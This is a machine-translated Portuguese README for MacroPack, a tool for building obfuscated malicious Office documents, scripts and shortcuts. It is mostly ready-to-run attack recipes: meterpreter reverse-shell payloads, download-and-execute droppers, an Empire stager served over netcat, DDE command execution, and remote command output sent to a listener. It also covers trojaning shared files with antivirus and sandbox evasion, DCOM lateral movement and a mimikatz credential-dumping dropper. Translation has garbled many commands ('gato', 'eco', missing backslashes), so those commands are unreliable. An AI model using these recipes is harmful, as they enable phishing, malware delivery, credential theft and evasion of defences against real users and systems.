Comunidade MacroPack é uma ferramenta usada para automatizar a ofuscação e a geração de formatos retro, como documentos do MS Office ou formato semelhante ao VBS. Ele também lida com vários formatos de atalhos. Esta ferramenta pode ser usada para red teaming, pentests, demonstrações e avaliações de engenharia social. O MacroPack simplificará o desvio de soluções antimalware e automatizará o processo desde a origem vb até o documento final do Office ou outro tipo de carga útil. É muito simples de usar:
Nenhuma configuração necessária
Tudo pode ser feito usando uma única linha de código
Geração da maioria dos formatos Office e formatos baseados em VBS
Cargas projetadas para ataques avançados de engenharia social (e-mail, chave USB, etc.)
A ferramenta é compatível com cargas geradas por ferramentas populares de pentest (Metasploit, Empire, ...). Também é fácil de combinar com outras ferramentas, pois é possível ler a entrada do stdin e ter uma saída silenciosa para outra ferramenta. Esta ferramenta foi escrita em Python3 e funciona em plataformas Linux e Windows
Nota: A plataforma Windows com os aplicativos corretos do MS Office instalados é necessária para a geração automática de documentos do Office ou recursos de trojan.
A ferramenta utilizará diversas técnicas de ofuscação, todas automáticas. Os recursos de ofuscação são compatíveis com todos os formatos baseados em VBA e VBS que podem ser gerados pelo MacroPack.
A ofuscação básica (opção -o) inclui:
Renomeando funções
Renomeando variáveis
Removendo espaços
Removendo comentários
Codificação de strings
MacroPack pode gerar vários tipos de documentos e formatos de scripts do MS Office. O formato será adivinhado automaticamente dependendo da extensão do arquivo fornecida. A geração do arquivo é feita usando a opção --generate ou -G.
A versão MacroPack pro também permite que você trojan arquivos existentes do Office com a opção --trojan ou -T.
Os formatos suportados pelo MS Office são:
MS Word (.doc, .docm, .docx, .dotm)
MS Excel (.xls, .xlsm, .xslx, .xltm)
MS PowerPoint (.pptm, .potm)
Acesso MS (.accdb, .mdb)
MS Visio (.vsd,.vsdm)
Projeto MS (.mpp)
Os formatos suportados de script (txt) são:
Arquivo de texto VBA (.vba)
Arquivo de texto VBS (.vbs).
Arquivo de script do Windows (.wsf)
Scriptlets de componentes de script do Windows (.wsc, .sct)
Aplicativos HTML (.hta)
Folha de estilo XSLT (.xsl) (Sim, MS XSLT contém scripts ^^)
Os formatos suportados por atalhos/Shell são:
Link do shell (.lnk)
Arquivo de comando do Explorer (.scf)
Atalho de URL (.url)
Atalhos do Groove (.glk)
Atalhos de configurações (.settingcontent-ms)
Biblioteca MS (.library-ms)
Informações de configuração (.inf)
Consulta na Web do Excel (.iqy)
Projeto do Visual Studio (.csproj)
Linha de comando (.cmd)
Somente versão SYmbolic LinK (.slk) Pro
Ajuda em HTML compactado (.chm) Somente versão Pro
Observe que todos os formatos de scripts e atalhos (exceto LNK) também podem ser gerados na versão Linux do MacroPack.
Este software deve ser usado apenas no contexto de um envolvimento da Red Team, testes de penetração, simulação de phishing, pesquisa de segurança ou outra forma de avaliação de segurança, com a autorização legal e formal dos proprietários do sistema. O uso deste software para atacar alvos sem consentimento prévio é proibido e ilegal. É responsabilidade do Usuário cumprir todas as leis locais, estaduais, federais e nacionais aplicáveis.
Não assumimos qualquer responsabilidade e não somos responsáveis por qualquer uso indevido ou dano que possa ser causado pelo uso deste software.
Nem todos os recursos e opções do MacroPack estão disponíveis na Comunidade MacroPack. Apenas a versão comunitária está disponível online. Os recursos da versão pro estão realmente “armando” o processo, portanto seu acesso é restrito a profissionais.
O modo profissional inclui recursos como:
Ignorar antimalware avançado
Métodos avançados de injeção de Shellcode
Ofuscação de linha de comando (Dosfuscation)
Desvio de ASR e AMSI
Auto-descompactação de cargas VBA/VBS
Troia documentos existentes do MS Office, arquivos de ajuda e projetos do Visual Studio.
Incorporar carga útil de isca
Movimento lateral usando objetos DCOM
Engenharia anti-reversa
Detecção de sandbox
Suporte para mais formatos como Excel 4.0 SYLK e arquivos de ajuda compilados
Execute carga VB avançada a partir de formatos incomuns
Modelos armados e modelos adicionais (ex EMPIRE, AUTOSHELLCODE)
Macros do Excel 4.0 (XLM)
E muito mais…
Alguns pequenos vídeos de demonstração estão disponíveis no canal BallisKit Vimeo.
Importante: Se desejar entrar em contato comigo sobre o MacroPack pro, use meu endereço de e-mail emeric.nasi [at] sevagas.com. Não responderei perguntas anônimas sobre a versão Pro, mas apenas e-mails profissionais.
Obtenha o binário mais recente em https://github.com/sevagas/macro_pack/releases/
Baixe o binário no PC com o Microsoft Office original instalado.
Abra o console, CD para o diretório binário e chame o binário, simples assim!
macro_pack.exe --ajuda
Você precisa estar em uma máquina Windows para construir o MacroPack. Baixe e instale dependências:
clone do git https://github.com/sevagas/macro_pack.gitcd macro_pack pip3 instalar -r requisitos.txt
A ferramenta está em python 3, então comece com a instalação do python3. ex:
python3 macro_pack.py --help# orpython macro_pack.py --help # se python3 for a instalação padrão
Se você deseja produzir um exe independente usando o pyinstaller:
Instale o pyinstaller: pip install pyinstaller
Clique duas vezes no script “build.bat”.
O macro_pack.exe resultante estará dentro do diretório bin .
Liste todos os formatos de arquivo suportados
macro_pack.exe --listformatos
Liste todos os modelos disponíveis
macro_pack.exe --listtemplates
Ofusque o arquivo vba gerado por msfvenom e coloque o resultado em um novo arquivo VBA.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G medidorobf.vba
Ofusque o arquivo VBA do Empire Stager e gere um documento MS Word:
macro_pack.exe -f império.vba -o -G meuDoc.docm
Gere um arquivo MS Excel contendo um conta-gotas ofuscado (baixe payload.exe e armazene como drop.exe)
echo "https://myurl.url/payload.exe" "dropado.exe" | macro_pack.exe -o -t DROPPER -G "drop.xlsm"
Crie um documento do Word 97 contendo uma carga útil de medidor reverso VBA ofuscada dentro de uma pasta de compartilhamento
msfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G REMOTE-PCSharemeter.doc
Baixe e execute o stager Empire Launcher sem powershell.exe usando o modelo DROPPER_PS
# 1 Gere um arquivo contendo o lançador do Empire # 2 Disponibilize esse arquivo no servidor web, ex com netcat:{ echo -ne "HTTP/1.0 200 OKrnrn"; gato império_stager.cmd; } | nc -l -p 6666 -q1# 3 Use macro_pack para gerar carga útil DROPPER_PS no arquivo Excel http://10.5.5.12:6543/empire_stager.cmd | macro_pack.exe -o -t DROPPER_PS -G join_the_empire.xls# 4 Quando executada no destino, a macro irá baixar o PowerShdll, executá-lo com rundll32 e baixar e executar o stager.
Execute calc.exe por meio de ataque Dynamic Data Exchange (DDE)
eco calc.exe | macro_pack.exe --dde -G calc.xslx
Baixe e execute o arquivo via PowerShell usando ataque Dynamic Data Exchange (DDE)
# 1 Altere o URL do arquivo de destino em resourcescommunityps_dl_exec.cmd# 2 Incorpore o download, execute cmd em documentmacro_pack.exe --dde -f ..resourcescommunityps_dl_exec.cmd -G DDE.xslx
Execute o comando (notepad.exe) via arquivo de consulta da web do Excel e DDE
# 1 Crie o arquivo dde.dat com o próximo content=cmd|' /c notepad.exe'!A1# 2 Host dde.dat no servidor web, ex. usando macro_pack -l# 3 Gere arquivo .iqymacro_pack.exe -G dde.iqy
Gere o arquivo VBS TCP reverso do meterpreter ofuscado e execute-o
# 1 Gere VBS ofuscado com base no modelo meterpreter, bem como no recurso Metasploit fileecho| macro_pack.exe -t METERPRETER -o -G medidor.vbs # 2 Na máquina do invasor, configure o medidor de ouvinte msfconsole -r medidorpreter.rc # 3 execute o arquivo VBS com wscript (execute wscript de 32 bits porque a carga útil do meterpreter é de 32 bits)% windir% SysWoW64wscript meter.vbs
Gere um arquivo HTA ofuscado que executa "systeminfo" e retorna o resultado para outro macro_pack escutando em 192.168.0.5
# 1 Gere arquivo HTA com template REMOTE_CMD http://192.168.0.5:1234/a "systeminfo" | macro_pack.exe -t REMOTE_CMD -o -G info.hta # 2 Em 192.168.0.5 abra macro_pack como ouvinte http macro_pack.exe -l. --port=1234# 3 execute o arquivo hta com mshta mshta.exe completo/caminho/para/info.hta
Gere um atalho de URL que executa um arquivo HTA local quando você clica nele
echo "arquivo://C:UsersusernameDesktophello.hta" | macro_pack.exe -G yop.url
Gere o atalho lnk que executa um cmd executando calc.exe com o ícone calc.exe
echo '"c:WindowsSystem32cmd.exe /c calc.exe" "calc.exe"' | macro_pack.exe -G calc.lnk
Trojan o arquivo "report.xlsm" compartilhado existente com um conta-gotas. Use recursos anti-AV e anti-reverso.
echo "http://10.5.5.12/drop.exe" "dropado.exe" | macro_pack.exe -o -t DROPPER --bypass --stealth --antisandox --trojan "E:accountingreport.xls"
Gere um arquivo Word contendo carga útil VBA de medidor reverso x64 autocodificado em VBA (ignorará a maioria dos AV). Keep-alive é necessário porque precisamos que o meterpreter permaneça vivo antes de migrarmos.
msfvenom.bat -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o --autopack --keep-alive -G out.docm
Trojan um arquivo PowerPoint com um shellcode bruto reverso. A macro é ofuscada e distorcida para contornar o AMSI e a maioria dos antivírus.
eco beacon.bin | macro_pack.exe -o -t SHELLCODE --bypass -T hotpics.pptm
Execute uma macro em um PC remoto usando DCOM.
REM Etapa 1: Certifique-se de ter direitos suficientes, use 192.168.0.8c$ /user:domainusername passwordREM Etapa 2: Gere o documento, por exemplo aqui, meterpreter Reverse TCP Excel fileecho 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G meter.xlsmREM Etapa 3: Copie o documento em algum lugar remoto sharecopy meter.xlsm "192.168.0.8c$usersusernamemeter.xlsm"REM Etapa 4: Execute!macro_pack.exe --dcom=" 192.168.0.8c$usersusernamemeter.xlsm"REM Etapa 2 a 4 em uma etapa:echo 192.168.0.5 4444 | macro_pack.exe -t METERPRETER -o -G "192.168.0.8c$usersusernamemeter.xlsm" --dcom="192.168.0.8c$usersusernamemeter.xlsm"
Main payload generation options: -G, --generate=OUTPUT_FILE_PATH. Generates a file. Will guess the payload format based on extension. MacroPack supports most Ms Office and VB based payloads as well various kinds of shortcut files. Note: Office payload generation requires that MS Office application is installed on the machine --listformats View all file formats which can be generated by MacroPack -f, --input-file=INPUT_FILE_PATH A VBA macro file or file containing params for --template option or non VB formats If no input file is provided, input must be passed via stdin (using a pipe). -t, --template=TEMPLATE_NAME Use code template already included in MacroPack MacroPack supports multiple predefined templates useful for social engineering, redteaming, and security bypass --listtemplates View all templates provided by MacroPack -e, --embed=EMBEDDED_FILE_PATH Will embed the given file in the body of the generated document. Use with EMBED_EXE template to auto drop and exec the file or with EMBED_DLL to drop/load the embedded dll. Security bypass options: -o, --obfuscate Obfuscate code (remove spaces, obfuscate strings, obfuscate functions and variables name) --obfuscate-names-charset=Set a charset for obfuscated variables and functions Choose between: alpha, alphanum, complete or provide the list of char you want --obfuscate-names-minlen= Set min length of obfuscated variables and functions (default 8) --obfuscate-names-maxlen= Set max length of obfuscated variables and functions (default 20) --uac-bypass Execute payload with high privileges if user is admin. Compatible with most MacroPack templates Other options: -q, --quiet Do not display anything on screen, just process request. -p, --print Display result file on stdout (will display VBA for Office formats) Combine this option with -q option to pipe result into another program ex: cat input_file.vba | macro_pack.exe -o -G obfuscated.vba -q -p | another_app -s, --start-function=START_FUNCTION Entry point of macro file Note that macro_pack will automatically detect AutoOpen, Workbook_Open, or Document_Open as the start function --icon Path of generated file icon. Default is %windir%system32imageres.dll,67 --dde Dynamic Data Exchange attack mode. Input will be inserted as a cmd command and executed via DDE This option is only compatible with Excel formats. --run=FILE_PATH Open document using COM to run macro. Can be useful to bypass whitelisting situations. This will trigger AutoOpen/Workbook_Open automatically. If no auto start function, use --start-function option to indicate which macro to run. --unicode-rtlo=SPOOF_EXTENSION Inject the unicode U+202E char (Right-To-Left Override) to spoof the file extension when view in explorers. Ex. To generate an hta file with spoofed jpg extension use options: -G something.hta --unicode-rtlo=jpg In this case, windows or linux explorers will show the file named as: somethingath.jpg -l, --listen=ROOT_PATH Open an HTTP server from ROOT_PATH listening on default port 80. -w, --webdav-listen=ROOT_PATH Open a WebDAV server on default port 80, giving access to ROOT_PATH. --port=PORT Specify the listening port for HTTP and WebDAV servers. -h, --help Displays help and exit
Os modelos podem ser chamados usando -t, --template=TEMPLATE_NAME combinado com outras opções.
Aqui estão todos os modelos disponíveis.
Basta imprimir uma mensagem de alô e conscientização sobre o macro.
Dê a este modelo o nome ou e-mail do autor:
-> Exemplo: echo "@Author" | macro_pack.exe -t HELLO -G hello.pptm
Execute um comando.
Dê a este modelo uma linha de comando
-> Exemplo (pop calc.exe de e arquivo xslt): echo "calc.exe" | macro_pack.exe -t CMD -G cmd.xsl
Execute uma linha de comando e envie os resultados para o servidor HTTP remoto.
Forneça a este modelo o URL do servidor e o comando para executar:
-> Exemplo: echo "http://192.168.0.5:7777" "dir /QC:" | macro_pack.exe -t REMOTE_CMD -o -G cmd.doc
# Captura o resultado com qualquer servidor web ou netcatnc -l -p 7777
Baixe e execute um arquivo.
Forneça a este modelo o URL do arquivo e o caminho do arquivo de destino
-> Exemplo: echo
Baixe e execute o script Powershell usando rundll32 (para ignorar o powershell.exe bloqueado).
Nota: Esta carga fará o download do PowerShdll do Github.
Forneça a este modelo o URL do script do PowerShell que você deseja executar:
-> Exemplo: echo "
Baixe uma DLL com outra extensão e execute-a usando o Office VBA.
-> Exemplo, carregue a DLL do meterpreter usando o Office:
REM Gerar meterpreter dll payloadmsfvenom.bat -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f dll -o meter.dllREM Disponibilizá-lo no servidor web, por exemplo, usando netcat na porta 6666{ echo -ne "HTTP/1.0 200 OKrnrn" ; medidor de gato.dll; } | nc -l -p 6666 -q1REM Crie o arquivo OFfice que fará o download da DLL e o chamará de REM. O URL da DLL é http://192.168.0.5:6666/normal.html e será salvo como arquivo .asdecho "http://192.168 .0.5:6666/normal.html" Executar | macro_pack.exe -t DROPPER_DLL -o -G meterdll.xls
Modelo TCP reverso do Meterpreter usando MacroMeter da Cn33liz.
Este modelo é CSharp meterpreter Stager construído por Cn33liz e incorporado em VBA usando DotNetToJScript de James Forshaw.
Dê a este modelo o IP e a PORTA de escuta do mfsconsole:
-> Exemplo: echo
Este modelo também gera um arquivo meterpreter.rc para criar o manipulador Metasploit
-> Exemplo: msfconsole -r meterpreter.rc
Solte e execute um arquivo incorporado.
Combine com a opção --embed, ele irá descartar e executar o arquivo incorporado com nome aleatório na pasta TEMP.
-> Exemplo: macro_pack.exe -t EMBED_EXE --embed=c:windowssystem32calc.exe -o -G my_calc.vbs
Combine com a opção --embed, ela descartará e chamará uma função na DLL fornecida.
Dê a este modelo o nome e os parâmetros da função a ser chamada na DLL
-> Exemplo1: echo "main" | macro_pack.exe -t EMBED_DLL --embed=cmd.dll -o -G cmd.doc
-> Exemplo2: echo "main log privilege::debug sekurlsa::logonpasswords exit" | macro_pack.exe -t EMBED_DLL --embed=mimikatz.dll -o -G mimidropper.hta
Os vários recursos foram testados em soluções antimalware instaladas localmente, bem como em serviços online. Executei vários testes com vários tipos de cargas úteis e recursos do MacroPack. A maior parte da estática do antivírus será evitada pela simples opção de “ofuscar”. No entanto, como a maioria das ferramentas gratuitas, as cargas geralmente são capturadas por análises comportamentais, como AMSI. Os recursos disponíveis no modo MacroPack pro geralmente permitem bypass AV completo, incluindo AMSI.
Aviso: Não envie suas amostras para scanners on-line (ex. VirusTotal). É a melhor maneira de quebrar sua macro furtiva. Também sugiro que você não envie para sites que não geram relatórios, como o NoDistribute. Você não pode ter certeza do que esses sites farão com os dados enviados. Se você tiver um problema com a detecção de AV macro_pack, você pode nos escrever para obter orientação ou enviar um problema ou solicitação pull.
Postagens de blog sobre o MacroPack Pro:
https://blog.sevagas.com/?Launch-shellcodes-and-bypass-Antivirus-using-MacroPack-Pro-VBA-payloads
https://blog.sevagas.com/?EXCEL-4-0-XLM-macro-in-MacroPack-Pro (cargas úteis do Excel 4.0 no MacroPack Pro)
https://blog.sevagas.com/?Advanced-MacroPack-payloads-XLM-Injection (injeção de XLM no MacroPack Pro)
Postagens de blog sobre hackers com MS Office, VBS e outras coisas retrô de segurança:
https://blog.sevagas.com/?Bypass-Windows-Defender-Attack-Surface-Reduction
https://subt0x11.blogspot.fr/2018/04/wmicexe-whitelisting-bypass-hacking.html
http://blog.sevagas.com/?My-VBA-Bot (escreva um VBA RAT completo, inclui como ignorar a proteção VBOM)
http://blog.sevagas.com/?Hacking-around-HTA-files (execute código hta em arquivos não-hta e poliglotas hta)
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/ (Sobre ataques de troca dinâmica de dados)
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
Outros links úteis:
https://github.com/p3nt4/PowerShdll (execute o PowerShell apenas com dlls)
https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384 (Execute o script PowerShell com implementação PowerShdll VBA)
https://github.com/EmpireProject/Empire
https://medium.com/@vivami/phishing-between-the-app-whitelists-1b7dcdab4279
https://github.com/Cn33liz/MacroMeter
https://github.com/khr0x40sh/MacroShop
https://docs.microsoft.com/en-us/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/attack-surface-reduction-exploit-guard
Sinta-se à vontade para me enviar uma mensagem em minha conta do Twitter @EmericNasi
E-mails:
emeric.nasi[at]sevagas.com
ena.sevagas[at]protonmail.com
Importante: Se desejar entrar em contato comigo sobre o MacroPack pro, use meu endereço de e-mail sevagas.com. Observe também que não responderei perguntas anônimas para a versão Pro, apenas e-mails profissionais.
A Licença Apache 2.0
Direitos autorais 2017,2018,2019,2020,2021,2022 Emeric “Sio” Nasi (blog.sevagas.com)